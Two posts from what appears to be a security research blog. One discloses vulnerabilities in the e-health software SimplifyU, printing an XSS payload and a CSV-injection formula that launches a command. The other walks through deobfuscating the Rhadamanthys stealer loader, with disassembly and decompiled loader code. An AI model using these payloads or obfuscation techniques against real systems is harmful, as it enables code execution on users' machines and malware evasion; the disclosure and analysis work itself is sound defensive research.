cyber.wtf

E-Health Issues (1/3) - Severe Vulnerabilities in SimplifyU

Fri, 17 Apr 2026 12:00:00 +0000

During the last year (2025), we conducted a variety of penetration tests on E-Health applications. Shockingly, they all had severe vulnerabilities. This is particularly concerning given the highly sensitive information stored and processed by these applications. This is the first of three blog posts in which we will disclose some of the vulnerabilities we identified.

Intro

One of our clients wanted to begin using the E-Health web application SimplifyU – a quality management software for the health sector – in production. However, they wanted to assess its security before doing so. Hence, we conducted a web application penetration test. The results revealed multiple severe vulnerabilities, such as stored XSS across the entire application and anonymous users being able to easily brute-force access to sensitive reports.

Fortunately, the vendor, SimplifyU GmbH, responded quickly and professionally. The vulnerabilities were fixed shortly after they were disclosed.

Overview of the CVEs

A total of 8 CVEs were assigned to the most severe vulnerabilities identified. The affected versions are “02.06.2025 09:10” and earlier for the back-end as well as “02.06.2025 09:16” and earlier for the front-end.

CVE Number	Name	Severity
CVE-2025-69851,CVE-2025-69799	Stored Cross-Site Scripting	High
CVE-2025-69852,CVE-2025-69800	CSV Injection	Medium
CVE-2025-69849,CVE-2025-69801	Insufficient Brute-Force Protection	Medium
CVE-2025-69850,CVE-2025-69798	Leak of EntraID Secret Key	Medium

Remediation

It is recommended to update SimplifyU to the latest version. All vulnerabilities have been fixed in the following release:

Frontend: 23.02.2026 – 13:11:08
Backend: 23.02.2026 – 13:13:12

CVEs in Detail

Stored Cross-Site Scripting

A total of 31 stored cross-site scripting (XSS) instances were identified. 14 of these could be exploited by users with the lowest permissions, i.e. “Leser” (German for “Reader”). Most of these could also be exploited by unauthenticated users if anonymous access was configured as allowed. A further 17 instances of stored XSS could only be exploited by users with higher permissions, i.e. “Verantwortlicher” (German for “Person in Charge”).

All instances were trivial XSS vulnerabilities because there was no user input validation. Unvalidated user input was embedded directly into HTML documents, so simple payloads such as <img src onerror=alert()> were sufficient. Therefore, there is nothing more to go into.

To keep track of the numerous XSS vulnerabilities, we created alert boxes containing an identifier for the affected functionality. The following figure illustrates one of these.

Figure 01: One of the 31 stored xss instances.

CSV Injection

A total of 7 tables contained unvalidated user input that could be exported as an Excel (.xlsx) file. By embedding CSV injection payloads, such as =cmd|' /C calc'!xxx, into specific places, it was possible to execute any command on the system of a user who opened an Excel file containing them. This is especially dangerous because users are likely to trust files exported from the SimplifyU application.

Figure 02: CSV injection leads to arbitrary command execution.

Insufficient Brute-Force Protection

This was the most interesting vulnerability from a technical perspective. SimplifyU allows both anonymous and authenticated users to open any report via the “TAN-Suche” (“TAN-Search”). Two pieces of information are needed for this: First, a “Meldungsnummer” (report number) and a TAN. The report number can easily be guessed because it has a fixed format. The first report has the number “M00001”, the 12th “M00012”, and so on. Therefore, all that is needed to access any report is to guess (or brute-force :)) the TAN, and there was no brute-force protection in place.

It doesn’t sound that difficult to exploit, right? You just throw it in Burp Intruder or FFUF and let it brute force the TAN in a matter of seconds or minutes. However, that wasn’t possible in this case because of the framework that SimplifyU is built with.

SimplifyU uses the ASP.NET Core Blazor framework, which uses a custom binary serialisation format called ‘BlazorPack’. Furthermore, Blazor communicates via WebSockets by default.

Fortunately, both issues can be resolved by using the Burp extension BlazorTrafficProcessor. It forces traffic to fall back to HTTP and supports conversion from binary to JSON format for easy modification. However, it cannot be used for automated brute force attacks. Therefore, we created a simple PoC Python script that can brute-force the TAN for any report.

Due to the way Blazor works, two requests are required for each brute-force attempt. The first request updates the TAN on the front- and back-end, while the second request triggers the TAN check on the back-end. As a side effect, the brute-force process looks pretty cool because one can see the TAN number increase visually until the correct one is found and the report is displayed.

The following figure shows the script iterating through every possible TAN, with the TAN on the web application being visually updated each time to reflect the next TAN to be tried.

Figure 03: Bruteforcing the TAN.

Leak of EntraID Secret Key

The EntraID Secret Key was displayed in the EntraID settings of the web application. Although this was only accessible to privileged users, there were several (unauthenticated) stored XSS vulnerabilities that could be exploited to exfiltrate the EntraID Secret Key. This secret key can be used to request an access token for the Microsoft Graph API. The consequences depend on the app’s configuration. In our customer’s case, we could “only” retrieve various information about EntraID users, such as names, phone numbers, and email addresses.

This was the only vulnerability that was still present during the retest. However, it was eventually fixed in February 2026.

Figure 04: The EntraID secret key is being leaked.

Timeline

2025-06-25	Start of the 3-day penetration test
2025-07-01	Reported vulnerabilities to the vendor
2025-08-11	Retest - all but one vulnerability was fixed
2026-02-23	Last vulnerability has been fixed

Rhadamanthys Loader Deobfuscation

Wed, 19 Nov 2025 10:00:00 +0000

~ Content warning: This post contains liberal amounts of x86 assembly! ~

Intro

Rhadamanthys is a notorious stealer malware that has been around since 2022. Check Point Research has recently published a very detailed blog post about changes in the latest Rhadamanthys version. If you’re interested in the stealer’s capabilities - or if you always wanted to know what a dark web sales site for malware looks like - definitely check out their post.

What piqued my interest is not the malware itself, but its native loader. The loader is interesting because it implements some rather complicated anti-sandboxing/anti-AV-emulation measures. Furthermore, the payload is encoded using a custom binary-to-string encoding that the malware authors try to keep hidden. This causes vast parts of the loader binary to contain gibberish ASCII text.

But most importantly, the loader is obfuscated using different layered techniques, making static analysis extremely hard. If you’ve followed my posts in the past (especially the ones about Pyarmor and .NET), you know I always like a good deobfuscation challenge - so let’s see what we’re dealing with in this instance!

Setting the stage

The sample that we will work on for the rest of the post is 8f54612f441c4a18564e6badf5709544370715e4529518d04b402dcd7f11b0fb. It’s packed, so you need to unpack it to see the actual Rhadamanthys loader.

When we open up the main function, we’re greeted by this ghastly sight.

.text:0040A560~0040A5C7 ... Normal(ish) function prologue
.text:0040A5C8                 jmp     short loc_40A5F0
.text:0040A5CA ; ----------------------------------------------------
.text:0040A5CA                 cmp     ebx, 19A7218Ah
.text:0040A5D0                 lea     eax, off_48B604
.text:0040A5D6                 lea     edi, off_48B850
.text:0040A5DC                 cmovz   eax, edi
.text:0040A5DF                 mov     eax, [eax]
.text:0040A5E1                 add     eax, esi
.text:0040A5E3                 jmp     eax
.text:0040A5E3 ; ----------------------------------------------------
.text:0040A5E5                 align 10h
.text:0040A5F0
.text:0040A5F0 loc_40A5F0:               ; CODE XREF: sub_40A560+68↑j
.text:0040A5F0                 cmp     ebx, 0BB2D365h
.text:0040A5F6                 mov     eax, edx
.text:0040A5F8                 lea     edi, off_48B8A4
.text:0040A5FE                 cmovl   eax, edi
.text:0040A601                 mov     eax, [eax]
.text:0040A603                 add     eax, esi
.text:0040A605                 jmp     eax
.text:0040A605 sub_40A560      endp  ; IDA thinks the function ends here, but it's far from the end
.text:0040A605
.text:0040A607 ; ----------------------------------------------------
.text:0040A607                 lea     eax, off_48B758
.text:0040A60D                 cmp     ebx, 357A351Eh
.text:0040A613                 jge     short loc_40A680
.text:0040A615                 mov     eax, [eax]
.text:0040A617                 add     eax, esi
.text:0040A619                 jmp     eax

The rest of the function looks more or less the same. Blocks that perform actual work, such as calling other functions, are slightly larger. In total, this main function has almost 3000 instructions and hundreds of blocks.

Two things are at play here:

Jump target obfuscation: The target addresses are hidden using a memory load and addition with a key register.
Control flow flattening: The blocks we see above are actually part of a typical CFF dispatcher. CFF is a technique where direct relations between basic blocks are removed. Instead, each time you have some sort of path decision, you set a state variable (ebx in this case). Then you jump into the dispatcher, which will eventually execute the correct block. At a higher level, you can think of it like a huge switch statement, where the cases are obnoxious high entropy numbers like 0x357A351E.
The code at hand is basically doing a binary search until it finds a target block where ebx matches exactly (je instruction, not depicted above).

Together, those techniques form a potent combination. While control flow flattening alone is already annoying, at least you can decompile the code and see something. With the jump obfuscation on top of it, disassemblers and decompilers will only see a bunch of apparently unrelated blocks - no children, no parents. This obviously completely breaks decompilation and any control flow graph analysis.

Unrelated to the above, another pattern that occurs somewhat frequently in the code is this:

call    sub_40F830
mov     ecx, dword_48AE7C
mov     edx, 0C4D77A40h
add     ecx, edx
cmp     eax, ecx

The function result eax is compared against a value in ecx, which is again obtained using a memory load and an addition. This is essentially constant obfuscation, which has been applied to all constants in the program (except for ones belonging to the obfuscator itself, such as the control flow state variable).

The memory load presents an additional twist: if the initial mov ecx had simply been another constant like edx, decompilers would automatically fold the addition as part of their built-in optimizations. But with the load, they typically won’t do so even if the referenced memory were to be marked read-only.

Deobfuscation

An important first insight is that the obfuscation works on a per-function level. Blocks belonging to one function are always contained in the function bounds; there’s no crazy jumping across the whole program. You may be wondering how one is supposed to determine the function bounds - after all, we don’t have a coherent control flow graph. Luckily, this one is simple: Functions touched by the obfuscator only have a single exit point. They always have a ret at their very end.

Any deobfuscation attempt should thus also focus on one function at a time.

First (failed) attempt

While browsing through the code in order to come to a decision on how to deal with it, I stumbled upon cases like this:

.text:0040BECC ; ---------------------------------------------------
.text:0040BECC                 mov     ebx, [esp+40h]
.text:0040BED0                 cmp     ebx, 0BB2D365h
.text:0040BED6                 mov     eax, edx
.text:0040BED8                 lea     edi, off_48B8A4
.text:0040BEDE                 cmovl   eax, edi
.text:0040BEE1                 mov     eax, [eax]
.text:0040BEE3                 add     eax, esi
.text:0040BEE5                 jmp     eax

As can be seen, the jump target depends on cmovl, which will be either edx (via eax) or edi. But what’s edx? It’s not set in this block, and the block doesn’t have any direct parents.

In the general case, one would have to assume edx can be arbitrarily set in one of the (unknown) parent blocks. For this reason, I chose to try symbolic execution. This technique can simulate everything from the beginning of the function, meaning we should always have some sort of value for the registers (they may be symbolic, but for those obfuscator pointers like edx, I would expect integers).

However, after trying both Triton and angr, I figured that symbolic execution is not suitable here, at least not in the fashion I intended. Due to the size of some of the functions in the malware, path explosion becomes a real problem. While the symbolic exploration is working in principle and gives us correct destinations for each indirect jump, it simply doesn’t finish in any acceptable timeframe.

With the insight gained during the symbolic execution attempts and some further manual exploring, it turned out I needn’t have worried about cases such as with the edx register above. For this obfuscation scheme, if a register is used in a block and has not been assigned in said block or a discernible parent, it will always have the value that was assigned to it in the function prologue block. In order to handle such situations, it’s thus enough to create a lookup with all constant register assignments that happen in the prologue block.

Static deobfuscation

Seeing the snippet from the initial section, you may be tempted to say “just define regexes for the 3-4 different patterns & be done with it”. Unfortunately, it’s not that simple. The obfuscation was most likely implemented as a compilation pass (possibly in LLVM), and the compiler has quite a bit of leeway in how it actually arranges and emits the obfuscated code.

You will encounter all of these situations and more:

Instructions can be scheduled however the compiler pleases; you can have completely unrelated (legit) instructions right before jmp eax.
The jmp register is not always eax, it differs per function.
The compiler may have had to temporarily save one of the registers involved in the obfuscation, so you’ll see save/restore pairs. Except in some situations, the saves will be in parent blocks (thankfully, those parents will be explicit and not hidden).
This can also affect the key register for the add, it can be temporarily aliased.
The compiler may have found it convenient to put an incoming branch edge into the middle of the pattern, e.g., towards a mov eax, [eax].

One way to deal with all of this is to use a technique called backwards data slicing. It collects a minimal subset of instructions that influence a given value (such as the jmp register). This is easier to reason about, especially when there are other “noisy” instructions sprinkled into a block. In case of incoming branches, we split the analysis and track the branch source. For the jump obfuscation, it’s enough to do this for a depth of 1 and ignore everything incoming if we’re already on a “split path”.

Here’s an example:

.text:0040BEE7                 lea     eax, off_48B5B0
.text:0040BEED                 cmp     ebx, 0F6A636EFh
.text:0040BEF3                 jl      short loc_40BEFB
.text:0040BEF5                 lea     eax, off_48B6CC
.text:0040BEFB
.text:0040BEFB loc_40BEFB:            ; CODE XREF: .text:0040BEF3↑j
.text:0040BEFB                 mov     eax, [eax]
.text:0040BEFD                 add     eax, esi
.text:0040BEFF                 jmp     eax

Slices:
[<mov eax, [eax]>, <add eax, esi>, <jmp eax>]  ; common path
[<lea eax, off_48B6CC>]  ; path "jcc not taken"
[<lea eax, off_48B5B0>, <jl short loc_40BEFB>]  ; path "jcc taken"

The branch target at 0x40BEFB causes a split into the two paths, where the register diverges.

For conditional moves (cmov), it works slightly differently:

.text:0040ADF2                 mov     ebx, 0F6A636EFh
.text:0040ADF7                 cmp     ebx, 0BB2D365h
.text:0040ADFD                 mov     eax, edx
.text:0040ADFF                 lea     edi, off_48B8A4
.text:0040AE05                 cmovl   eax, edi
.text:0040AE08                 mov     eax, [eax]
.text:0040AE0A                 add     eax, esi
.text:0040AE0C                 mov     edi, edx
.text:0040AE0E                 mov     edx, [esp+2Ch]
.text:0040AE12                 mov     [esp+44h], edx
.text:0040AE16                 mov     edx, edi
.text:0040AE18                 jmp     eax

Slices:
[<lea edi, off_48B8A4>, <cmovl eax, edi>, <mov eax, [eax]>, <add eax, esi>, <jmp eax>]  ; cmov did move (cc true)
[<mov eax, edx>, <cmovl eax, edi>]  ; cmov did not move (cc false)

On the main path, we pretend the cmov executed its move (edi is used), while the secondary slice represents what happens if it doesn’t move (eax is used).

In the examples above, the first element of the slices is the one of interest (i.e., the offset we need to dereference for mov eax, [eax]). This holds true in about 95% of the cases, but sometimes there are other instructions, e.g., there could be a mov to esi, since that register is also part of the overall computation. It might thus be beneficial to get another sub-slice starting at mov eax, [eax].

Note how we have edx here again in the last slice rather than an address, so we need to apply the lookup trick described in the previous section.

Lastly, there is this pattern:

.text:0040AE26                 xor     eax, eax
.text:0040AE28                 cmp     ebx, 13B0D3B2h
.text:0040AE2E                 setz    al
.text:0040AE31                 shl     eax, 6
.text:0040AE34                 mov     eax, off_48B650[eax]
.text:0040AE3A                 add     eax, esi
.text:0040AE3C                 jmp     eax

Slices:
[<xor eax, eax>, <setz al>, <shl eax, 6>, <mov eax, off_48B650[eax]>, <add eax, esi>, <jmp eax>]

The compiler probably emits this instead of cmov when the two addresses can be represented using such a set-condition-code-and-shift pattern. The dereferenced address is either 0x48B650 (zero flag not set) or 0x48B690 (zero flag set → 1<<6 == 0x40 is added).

You may be wondering what all the jump instructions are doing in the slices. They’re included for pure convenience, because as it happens, the set union of all slices represents all instructions that can be safely overwritten when we patch things up.

The patches themselves are pretty straight-forward. We assemble a jcc and jmp, where the condition code is either taken from an existing jcc, from a cmovcc, or from a setcc. The jump destinations are computed from the values we obtained from our data slices and from the function prologue (for the key register and any other random registers).

While the instructions that we overwrite generally provide enough space in total, they’re not always coherent. There may be unrelated instructions in between them. In such cases, some careful shuffling needs to be done in order to consolidate the “free space” by moving legit instructions out of the way.

The jump deobfuscation logic can be found in deob_jumps.py, with some utility code for instruction shifting and rewriting being in deob_util.py.

Results thus far

Functions now have visible control flow and can be decompiled! It’s still not exactly pretty, but definitely progress compared to before. We can work with this.

                  if ( v5 >= 2025505611 )
                  {
                    if ( v5 == 2025505611 )
                    {
                      TranslateMessage(&Msg);
                      DispatchMessageA(&Msg);
                      v7 = (int)&unk_48B77C;
                      v5 = -1113969622;
                      goto LABEL_132;
                    }
                    goto LABEL_5;
                  }
                  if ( v5 != 1949251370 )
                    goto LABEL_5;
                  v37 = *((_DWORD *)hMem + v21) + 4;
                  v23 = dword_48ADFC + 1222248860;
                  v6 = (int)a1;
                  v5 = 215978185;
                }
                else if ( v5 >= 1834411218 )
                {
                  if ( v5 >= 1920510847 )
                  {
                    if ( v5 != 1920510847 )
                      goto LABEL_5;
                    free((void *)Param[24]);
                    v7 = (int)&unk_48B77C;
                    v5 = 1750707187;
                  }

Or, if you’re a graphical person:

Control flow graph for loader main function (0x40A560).

(Very) small functions are problematic

The compiler apparently finds small functions “manageable” in terms of their optimization potential. It precomputes lots of stuff belonging to the obfuscation, merges blocks, and so on.

.text:00414FE8                 xor     edx, edx
.text:00414FEA                 xor     ebx, ebx
.text:00414FEC                 cmp     eax, 15BEFF06h
.text:00414FF1                 setl    dl
.text:00414FF4                 setnz   bl
.text:00414FF7                 add     edx, 0Bh
.text:00414FFA                 lea     esi, ds:5[ebx*4]
.text:00415001                 cmp     eax, 0E18D1F3Ch
.text:00415006                 mov     ebx, 0Dh
.text:0041500B                 mov     eax, 2
.text:00415010                 cmovz   ebx, eax
.text:00415013                 mov     [esp+14h], ebx

Then later on you get:

.text:00415048                 jmp     edi
.text:0041504A ; ----------------------------------------------------
.text:0041504A                 jmp     edx
.text:0041504C ; ----------------------------------------------------
.text:0041504C                 jmp     dword ptr [esp+10h]
.text:00415050 ; ----------------------------------------------------
.text:00415050                 mov     eax, dword_48CC00[ecx*4]
.text:00415057                 add     eax, ebp
.text:00415059                 jmp     eax
.text:0041505B ; ----------------------------------------------------
.text:0041505B                 mov     eax, [esp+1Ch]
.text:0041505F                 mov     eax, dword_48CC00[eax*4]
.text:00415066                 add     eax, ebp
.text:00415068                 jmp     eax

The condition processing all happens in a single block at the top of the function and is pretty much decoupled from the jumps. This is quite different from what we’ve been dealing with in larger functions. Our patching approach is not suitable here, because we’d have to pretty much rewrite the entire function from scratch.

In the end it’s not too big of a loss, though - these functions usually comprise only around 100 lines of assembly (most of which is obfuscator trash), so figuring out what they do by hand is doable.

Dealing with constants

Let’s take a break from the control flow stuff for a moment and deal with something easier.

For the constant obfuscation, there are basically two ways the memory load is done: Either there’s a mov with a load followed by an arithmetic operation with a constant - or it’s the other way around, where the arithmetic operation has the memory operand. So in essence, we just need to look out for all mov/movzx/add/sbb/sub/xor reg, [imm32] instructions.

One problem is that such instructions can definitely appear as part of the underlying program, so we need some way to differentiate which ones are from the obfuscator and which ones must remain untouched. As it happens, if you collect all addresses and sort them, the ones from the obfuscator are clustered together.

.data:0048AEB4 dword_48AEB4    dd 545AE7F4h    ; DATA XREF: sub_40A560+EF0↑r
.data:0048AEB8 dword_48AEB8    dd 372ECFB4h    ; DATA XREF: sub_40A560+EFD↑r
.data:0048AEBC dword_48AEBC    dd 9B874143h    ; DATA XREF: sub_40A560:loc_40C592↑r
.data:0048AEC0 dword_48AEC0    dd 7A9F2473h    ; DATA XREF: sub_40A560+203E↑r
.data:0048AEC4 dword_48AEC4    dd 381897B5h    ; DATA XREF: sub_40A560+205D↑r
.data:0048AEC8 byte_48AEC8     db 1            ; DATA XREF: sub_40A560+1DC2↑r
.data:0048AEC9                 align 4
.data:0048AECC dword_48AECC    dd 0D2B6F7Dh    ; DATA XREF: sub_40A560:loc_40AE3E↑r
.data:0048AED0 dword_48AED0    dd 0D9E7D1Bh    ; DATA XREF: sub_40A560+8EA↑r
.data:0048AED4 dword_48AED4    dd 0F813A068h   ; DATA XREF: sub_40C8B0+C↑r
.data:0048AED8 dword_48AED8    dd 66A48DFEh    ; DATA XREF: sub_40C8B0+A3↑r
.data:0048AEDC dword_48AEDC    dd 0E92E6D27h   ; DATA XREF: sub_40C8B0+73↑r
.data:0048AEE0 dword_48AEE0    dd 13A7AAC9h    ; DATA XREF: sub_40C8B0+17↑r

For this particular analysis, it makes sense to work at the program-level rather than individual functions. The xrefs are not strictly linear and the more complete your picture is, the better.

I found that valid addresses are at most 0x10 bytes away from each other, but sometimes there are gaps where there’s some other data in between clusters of obfuscator addresses. For this sample, if you mandate that a valid cluster needs at least 10 addresses following the 0x10 rule, you will catch all obfuscator addresses. Any outliers will be addresses belonging to the real code.

Once we have that, we can simply replace all memory operands with their immediate values. Patching is trivial, because in x86, reg, imm32 operands are always shorter or the same length as reg, [imm32] operands, so we can’t run into space problems.

I will forego actually fully folding the constants and leave that job to an optimizing decompiler. One reason for that is certainly that there are nasty occurrences such as this:

.text:0040A868                 mov     eax, dword_48AE28
.text:0040A86D                 lea     ecx, [esp+48Ch+var_3E4]
.text:0040A874                 xorps   xmm0, xmm0
.text:0040A877                 movups  xmmword ptr [eax+ecx-0C5DAC1Ch], xmm0
.text:0040A87F                 movups  xmmword ptr [eax+ecx-0C5DAC2Ch], xmm0

Replacing the mov eax is enough for IDA’s decompiler to be able to figure things out.

The constant inlining is implemented in deob_consts.py.

Control flow unflattening

The final problem is the flattening, so let’s see what can be done about that. I don’t want to see any huge-number-comparison spaghetti code anymore.

There are some IDA plugins for unflattening that are based on microcode manipulation, such as D-810, and more recently, hrtng (which contains an extended version of HexRaysDeob). They all fail to deal with this particular variant of flattening. I assume that it would be possible to make them compatible with some effort, but I’m not familiar with IDA microcode specifics and didn’t feel like getting into it for this project. Plus I figured I could re-use quite a bit of the rewriting code that we already came up with for the jump deobfuscation.

One (special?) thing about this flattener is that it doesn’t always go to the beginning of the dispatcher once it has assigned a new state variable. If it can find another suitable point in the dispatcher it can jump to, it will do so. This means that analyses looking at the parents of the “main” dispatcher block won’t work, because they’ll miss things.

I chose a rather simplistic approach that seems to work well for this particular flattener:

Look for comparisons against the state register that are followed by jz (or in rare cases jnz where things are flipped). Create a mapping “state key → target”.
Look for assignments to the state register. The assignment value is asserted to be contained in the mapping created in step 1. At the end of the block, create jump(s) to the real target(s).

Here’s an example of step 2 (unrelated instruction have been cut):

.text:0040B758                 cmp     [esp+48Ch+var_3B4], 0
.text:0040B760                 mov     ebx, 0B34CE2DFh  ; new state key
.text:0040B765                 jnz     loc_40C696
.text:0040B771                 cmp     ebx, 0BB2D365h
.text:0040B777                 jge     loc_40C6AD       ; never taken
.text:0040B77D                 jmp     loc_40B6C0

.text:0040C696                 mov     ebx, 0FA72F85Ah  ; new state key
.text:0040C6A1                 cmp     ebx, 0BB2D365h
.text:0040C6A7                 jl      loc_40B77D       ; always taken (then goes straight to 40B6C0)
.text:0040C6AD                 jmp     loc_40A607       ; dead

After rewriting:

.text:0040B758                 cmp     [esp+48Ch+var_3B4], 0
.text:0040B765                 jnz     loc_40C696
.text:0040B771                 cmp     ebx, 0BB2D365h  ; irrelevant leftover
.text:0040B777                 jmp     loc_40BCAF  ; destination for 0B34CE2DFh

.text:0040C696                 nop
                               ...
.text:0040C6A1                 jmp     loc_40C3AC  ; destination for 0FA72F85Ah

These sites are connected with a branch, but they are actually rewritten independently of each other; as you can see, jcc instructions unrelated to dispatching are left as-is (0x40B765). The part where it goes to the dispatcher with jge/jl/jmp can be ignored and overwritten.

Another example. Remember cmov? It has come back to haunt us.

.text:0040C4B4                 cmp     [esp+48Ch+var_448], 5
.text:0040C4B9                 mov     ebx, 2B8162DCh
.text:0040C4BE                 mov     eax, 456A4274h
.text:0040C4C3                 cmovz   ebx, eax
.text:0040C4C6                 cmp     ebx, 0BB2D365h
.text:0040C4CC                 jl      loc_40B6C0
.text:0040C4D2                 jmp     loc_40A607

After rewriting:

.text:0040C4B4                 cmp     [esp+48Ch+var_448], 5
.text:0040C4B9                 mov     ebx, 2B8162DCh  ; irrelevant leftover
.text:0040C4BE                 mov     eax, 456A4274h  ; irrelevant leftover
.text:0040C4C3                 jz      loc_40B199  ; destination for 456A4274h
.text:0040C4C9                 jmp     loc_40ADA2  ; destination for 2B8162DCh

As you can see, the condition code from the cmovcc is simply adapted for a jcc (jz here). It’s just a question of figuring out which operand of the cmov goes where (in logical terms), so you don’t swap the destinations by accident.

While this all seems “simple” enough, care still needs to be taken. Especially in larger blocks, there may be situations where the compiler put other flag-affecting instructions below the cmov. Then by the time you do your jcc, the flags won’t be what you expected anymore! For the most part, these were artifacts from the jump obfuscation that can be done away with by doing a more comprehensive cleanup in that previous deobfuscation phase. But it’s still something that needs to be checked for before rewriting, else you’re in for nasty logic bugs.

Lastly, there is a special case where the state register is not set to a constant, but to a stack variable. This is sometimes the case for decisions that can be evaluated in the function’s first block, so the branch condition and state keys will be up there. It poses quite a challenge, because in order to have a jcc in a block way down in the function, you also need to pull down the branch condition. That’s not always trivial, especially if there’s a comparison against some volatile register that is only valid in the first block.

; Up in the in the first block:
.text:0040A59D                 cmp     [ebp+arg_4], 0           ; we need this down at 40BEXX
.text:0040A5A1                 mov     eax, 0EC71CA67h
.text:0040A5A6                 mov     ecx, 0A0716E5Bh
.text:0040A5AB                 cmovz   ecx, eax
.text:0040A5AE                 mov     [esp+48Ch+var_44C], ecx

; Site of use (state var assignment):
.text:0040BECC                 mov     ebx, [esp+48Ch+var_44C]  ; load stack variable
.text:0040BED0                 cmp     ebx, 0BB2D365h
.text:0040BED6                 jl      loc_40B6C0
.text:0040BEDC                 jmp     loc_40A607

For simplicity’s sake, we’re going to make the following assumptions:

At sites where stack variables like that are used, the stack pointer has the same value as in the first block.
Relevant stack variables (such as arg_4 in the example) are not overwritten in the middle of the function. You may wonder why an argument would ever be overwritten (even if it’s not needed anymore in the rest of the function), but you’d be surprised how inventive compilers can get when looking for free space for temp vars.

These are pretty big assumptions that won’t hold in many programs, but in this case they seem to work and save us a lot of headaches.

That means comparisons such as cmp [ebp+arg_4], 0 can be moved as-is. In another case, we may find cmp ecx, 0 instead - then we need to track where ecx comes from. It could be another memory load like mov ecx, [ebp+arg_4], in which case we can simply propagate the operand and end up with cmp [ebp+arg_4], 0 again. But ecx could also be the result of a more complex computation or even a parameter if the fastcall calling convention is used. In such situations, we can employ a trick and re-use the var_44C variable that the obfuscator allocated. Instead of using it for the cmov result, we’ll place our ecx register into the stack var, so that we can load it again in the block further down. Obviously, the cmov and any dependent instructions need to be nopped for that to work.

The attentive reader may wonder what would happen if we had cmp ecx, edx and both registers were fastcall parameters. Yeah, that would suck; thankfully it never happens in the sample.

The code for the above-mentioned operand analysis can be found here.

So in summary, dealing with this particular flattening is not hard on a conceptual level. The bulk work is getting all the edge cases right.

Final results

At this point you probably want to see an updated graph. Unfortunately, we’re not nopping out all code belonging to the CFF dispatcher, so IDA will still create blocks for it. So we’ll simply pretend the top part of the CFG does not exist, okay? Okay.

Looks enough like a CFG of a sane function to me!

The main function has turned out very pretty, despite being one of the longest functions in the program and the amount of obfuscation-related blocks it originally had:

  v18 = 0;
  v17 = 0;
  memset(Param, 0, sizeof(Param));
  v3 = -1603178917;
  if ( !lpMultiByteStr )
    v3 = -328086937;
  pNumArgs[3] = v3;
  if ( lpMultiByteStr )
  {
    v10 = MultiByteToWideChar(0, 0, lpMultiByteStr, -1, 0, 0);
    v11 = (const WCHAR *)calloc(v10, 2u);
    lpCmdLine = v11;
    if ( v11 )
    {
      pNumArgs[0] = 0;
      hMem = CommandLineToArgvW(lpCmdLine, pNumArgs);
      if ( hMem )
      {
        for ( i = 0; i < pNumArgs[0]; ++i )
        {
          if ( hMem[i] && lstrlenW(hMem[i]) == 66 && *hMem[i] == 45 && hMem[i][1] == 98 )
          {
            v26 = hMem[i] + 2;
            for ( j = 0; j < 64; j = j - 393718627 + 393718629 )
            {
              v7 = &v26[j];
              v8 = sub_40C8B0(*v7);
              v9 = sub_40C8B0(v7[1]);
              if ( v8 >= 0x10u || v9 >= 0x10u )
              {
                v21 = 5;
              }
              else
              {
                v32[j / 2] = v9 | (16 * v8);
                v21 = 0;
              }
              v24 = v21;
              if ( v24 == 5 )
                break;
            }
            if ( j == 64 )
              v18 = 1;
            else
              memset(v32, 0, sizeof(v32));
          }
        }
        LocalFree(hMem);
      }
      free((void *)lpCmdLine);
    }
  }
  v31 = &off_47B9C8;
  v28[1] = 0;
  v28[0] = 0;
  v29 = 0;
  v28[2] = (int)&unk_48A99C;
  v28[3] = (int)sub_40CDA0;
  v28[5] = (int)&v31;
  v28[6] = (int)hInstance;
  v28[7] = a3;
  v28[4] = (int)sub_40CF90;
  WndClass.style = 3;
  WndClass.lpfnWndProc = (WNDPROC)WndProc;
  WndClass.cbClsExtra = 0;
  WndClass.cbWndExtra = 0;
  WndClass.hInstance = hInstance;
  WndClass.hIcon = LoadIconA(0, (LPCSTR)0x7F00);
  WndClass.hCursor = LoadCursorA(0, (LPCSTR)0x7F00);
  WndClass.hbrBackground = (HBRUSH)GetStockObject(0);
  WndClass.lpszMenuName = 0;
  WndClass.lpszClassName = WindowName;
  dword_48E02C = (int)&dword_48E028;
  dword_48E028 = (int)&dword_48E028;
  chain[1] = (int)chain;
  chain[0] = (int)chain;
  Param[92] = 0;
  Param[23] = 0;
  Param[95] = 0;
  Param[24] = 0;
  Param[2] = (int)chain;
  Param[0] = 0;
  Param[22] = (int)&v17;
  Param[1] = (int)malloc(0x40000u);
  if ( Param[1] )
  {
    v19 = 1;
    RegisterClassW(&WndClass);
    memset((void *)Param[1], 0, 0x40000u);
    Param[31] = 0;
    Param[30] = 0;
    Param[4] = (int)v28;
    Param[3] = (int)&v31;
    sub_419808(WindowName, 28, &Param[13]);
    if ( v18 )
    {
      sub_405E50(v37);
      v36 = v37;
      sub_4069C0(v35, &Param[13]);
      sub_406B80(v35, 32, v32, &Param[5]);
    }
    else if ( sub_40F830()
           && MessageBoxW(0, L"Do you want to run a malware?\n(Crypt build to disable this message)", L"Warning", 0x34u) == 7 )
    {
      v19 = 0;
    }
    if ( v19 )
    {
      DesktopWindow = GetDesktopWindow();
      if ( DesktopWindow )
        GetWindowThreadProcessId(DesktopWindow, (LPDWORD)&Param[25]);
      Param[23] = (int)calloc(1u, 30008u);
      pNumArgs[2] = 13565952;
      pNumArgs[1] = 0x80000000;
      CreateWindowExW(
        0,
        WindowName,
        WindowName,
        0xCF0000u,
        0x80000000,
        0x80000000,
        500,
        300,
        HWND_MESSAGE,
        0,
        hInstance,
        Param);
      while ( GetMessageA(&Msg, 0, 0, 0) )
      {
        TranslateMessage(&Msg);
        DispatchMessageA(&Msg);
      }
      free((void *)Param[1]);
      if ( v17 && Param[4] )
      {
        v25 = v17;
        v17(v28);
      }
    }
  }
  if ( Param[24] )
    free((void *)Param[24]);
  if ( Param[95] )
    free((void *)Param[95]);
  if ( Param[23] )
    free((void *)Param[23]);
  while ( (int *)dword_48E028 != &dword_48E028 )
  {
    v4 = (_DWORD *)dword_48E028;
    v5 = *(_DWORD *)dword_48E028;
    v6 = *(_DWORD **)(dword_48E028 + 4);
    *v6 = *(_DWORD *)dword_48E028;
    *(_DWORD *)(v5 + 4) = v6;
    v22 = v4;
    if ( v4[2] )
      (*((void (__stdcall **)(_DWORD, _DWORD, int))v22 + 2))(*((_DWORD *)v22 + 4), 0, 0x8000);
    free(v22);
  }

There are only very few obfuscation artifacts left, e.g., the assignment to v3 in the beginning. In one case IDA failed to optimize a for loop update (where it says j = j - 393718627 + 393718629 instead of j += 2). We can live with that ¯\_(ツ)_/¯.

The ultimate test for a deobfuscator is to see if the deobfuscated application runs without issues. Unfortunately, at the time of writing, that’s not the case for the tooling we developed. There’s no outright crash and the initial message box appears, but a very subtle logic bug seems to prevent correct decoding of the payload.

So, what about the malware loader?

